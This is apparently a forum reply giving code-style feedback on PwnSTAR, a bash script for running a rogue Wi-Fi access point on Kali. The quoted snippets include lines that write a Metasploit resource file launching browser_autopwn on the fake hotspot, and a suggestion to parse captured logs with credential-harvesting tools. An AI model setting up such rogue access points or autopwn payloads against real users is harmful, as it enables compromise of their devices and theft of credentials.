PwnSTAR running on Kali

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I will try that out as soon as I have time to install Kali (first release was bugged for me, keyboard stuff).
I am reading through the code, and it's very neat.


Vulpi, I used to do the same as you :

read apusage
	if [[ $apusage = q ]];then
		exit_fn
    elif [[ $apusage != [1-6] && $apusage != 9 ]];then
        first_fn
    elif [[ $apusage = 9 ]];then
        adv_usage_fn
	fi

But I was hinted to use case in ... esac instead, and it's way better. For instance, instead of this barbarian line :"elif [[ $apusage != [1-6] && $apusage != 9 ]];then first_fn" you would jut have to write *) first_fn ;;
I use some of those in Yamas, you should check it out. It's aslo quite easy to replace. "edit" : I see you use it later on in the script, so you should be all right!

            if [[ $var = n ]];then
                internet=
                interface_fn
            fi
            if [[ $var = y ]];then
                if [[ $apusage = 3 || $apusage = a || $apusage = b || $apusage = c ]];then
                    echo -e "$warn\nDuh, won't work without an internet interface. Start again"
                    sleep 2
                    interface_fn
                fi
            fi

Shouldn't that be one big if with sub ifs, and an elif in case neither y nor n are entered ?

$API is in use, stupid. Try another interface

elif [[ $initial_scan != n ]];then  # any value other than n restarts the function
        echo -e "$warn\nWhat's it gunna be babe...yes or no?"

ahah Havin' fun are ya boy ?

echo -e "$info\nConsider using yamas or easy-creds to parse logs"

cheers!

echo "use auxiliary/server/browser_autopwn" > /tmp/karma.rc
    echo "setg AUTOPWN_HOST $ap_ip" >> /tmp/karma.rc
    echo "setg AUTOPWN_PORT 55550" >> /tmp/karma.rc
    echo "setg AUTOPWN_URI /ads" >> /tmp/karma.rc
    echo "set LHOST $ap_ip" >> /tmp/karma.rc
    echo "set LPORT 45000" >> /tmp/karma.rc
    echo "set SRVPORT 55550" >> /tmp/karma.rc
    echo "set URIPATH /ads" >> /tmp/karma.rc
    echo "run" >> /tmp/karma.rc

---SNIP---

Why not :

echo -en "setg AUTOPWN_HOST $ap_ip
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST $ap_ip
---SNIP---
set URIPATH /ads
run" > /tmp/karma.rc

since you're always writing in the same file?

That's all for now! More feedback when I get my hand on it!